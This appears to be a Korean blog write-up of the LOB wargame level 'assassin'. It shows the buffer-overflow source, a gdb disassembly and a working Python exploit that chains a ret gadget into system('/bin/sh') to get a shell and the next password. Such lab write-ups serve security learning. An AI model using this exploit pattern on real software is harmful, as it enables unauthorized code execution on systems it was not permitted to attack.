RTL2 문제가 풀리니 다른문제는 술술 풀리는 것 같다.
문제의 소스는
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
인데, RTL과 버퍼를 막아놓았다.
우리는 ret 를 프로그램의 RET (POP EIP) 부분으로 돌릴 것이다.
(ret 와 RET 는 다르다.
전자는 귀환 주소를 이르는 말이고, RET는 어셈에서 POP EIP를 말한다.)
[giant@localhost tmp]$ gdb -q assassin
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %ebp,%esp
0x8048473 <main+3>: sub %esp,40
0x8048476 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804847a <main+10>: jg 0x8048493 <main+35>
0x804847c <main+12>: push 0x8048570
0x8048481 <main+17>: call 0x8048378 <printf>
0x8048486 <main+22>: add %esp,4
0x8048489 <main+25>: push 0
0x804848b <main+27>: call 0x8048388 <exit>
0x8048490 <main+32>: add %esp,4
0x8048493 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048496 <main+38>: add %eax,4
0x8048499 <main+41>: mov %edx,DWORD PTR [%eax]
0x804849b <main+43>: add %edx,47
0x804849e <main+46>: cmp BYTE PTR [%edx],0xbf
0x80484a1 <main+49>: jne 0x80484c0 <main+80>
0x80484a3 <main+51>: push 0x804857c
0x80484a8 <main+56>: call 0x8048378 <printf>
0x80484ad <main+61>: add %esp,4
0x80484b0 <main+64>: push 0
0x80484b2 <main+66>: call 0x8048388 <exit>
0x80484b7 <main+71>: add %esp,4
0x80484ba <main+74>: lea %esi,[%esi]
0x80484c0 <main+80>: mov %eax,DWORD PTR [%ebp+12]
0x80484c3 <main+83>: add %eax,4
0x80484c6 <main+86>: mov %edx,DWORD PTR [%eax]
0x80484c8 <main+88>: add %edx,47
0x80484cb <main+91>: cmp BYTE PTR [%edx],0x40
0x80484ce <main+94>: jne 0x80484e7 <main+119>
0x80484d0 <main+96>: push 0x8048591
0x80484d5 <main+101>: call 0x8048378 <printf>
0x80484da <main+106>: add %esp,4
0x80484dd <main+109>: push 0
---Type <return> to continue, or q <return> to quit---
0x80484df <main+111>: call 0x8048388 <exit>
0x80484e4 <main+116>: add %esp,4
0x80484e7 <main+119>: mov %eax,DWORD PTR [%ebp+12]
0x80484ea <main+122>: add %eax,4
0x80484ed <main+125>: mov %edx,DWORD PTR [%eax]
0x80484ef <main+127>: push %edx
0x80484f0 <main+128>: lea %eax,[%ebp-40]
0x80484f3 <main+131>: push %eax
0x80484f4 <main+132>: call 0x80483a8 <strcpy>
0x80484f9 <main+137>: add %esp,8
0x80484fc <main+140>: lea %eax,[%ebp-40]
0x80484ff <main+143>: push %eax
0x8048500 <main+144>: push 0x80485ae
0x8048505 <main+149>: call 0x8048378 <printf>
0x804850a <main+154>: add %esp,8
0x804850d <main+157>: push 44
0x804850f <main+159>: push 0
0x8048511 <main+161>: lea %eax,[%ebp-40]
0x8048514 <main+164>: push %eax
0x8048515 <main+165>: call 0x8048398 <memset>
0x804851a <main+170>: add %esp,12
0x804851d <main+173>: leave
0x804851e <main+174>: ret
0x804851f <main+175>: nop
End of assembler dump.
이건 assassin 프로그램의 디스어셈블 인데, 우리가 필요한 부분은
0x804851e <main+174>: ret
이다. 이부분으로 ret 를 돌려주면
pop eip 후에 다시 pop eip가 되므로
4바이트 씩 밀리게 되고, 그로 인해 ret 시작이 argv[1][45] 가 아닌
argv[1][49] 가 된다.
따라서 페이로드는
nop*44 + &RET + &system + &exit + &/bin/sh
으로 작성한다.
[giant@localhost tmp]$ cat payload.py
import os
from struct import *
p = lambda x:pack("<L",x)
system=p(0x40058ae0)
exit=p(0x400391e0)
binsh=p(0x400fbff9)
TARGET="../assassin "
ret=p(0x804851e)
nop="\x90"
payload = TARGET + nop*44 + ret + system + exit + binsh
os.system(payload)
[giant@localhost tmp]$ python payload.py ɀσ@
bash$ Xshell
sh: Xshell: command not found
bash$ my-pass
euid = 515
pushing me away
bash$
'Wargame > LOB(끝)' 카테고리의 다른 글
zombie_assassin -> succubus (0) | 2015.04.02 |
---|---|
assassin -> zombie_assassin (0) | 2015.03.31 |
파이썬 버그 0x0f -> 0x00 (0) | 2015.03.22 |
bugbear -> giant (0) | 2015.03.22 |
darkknight -> bugbear (0) | 2015.03.20 |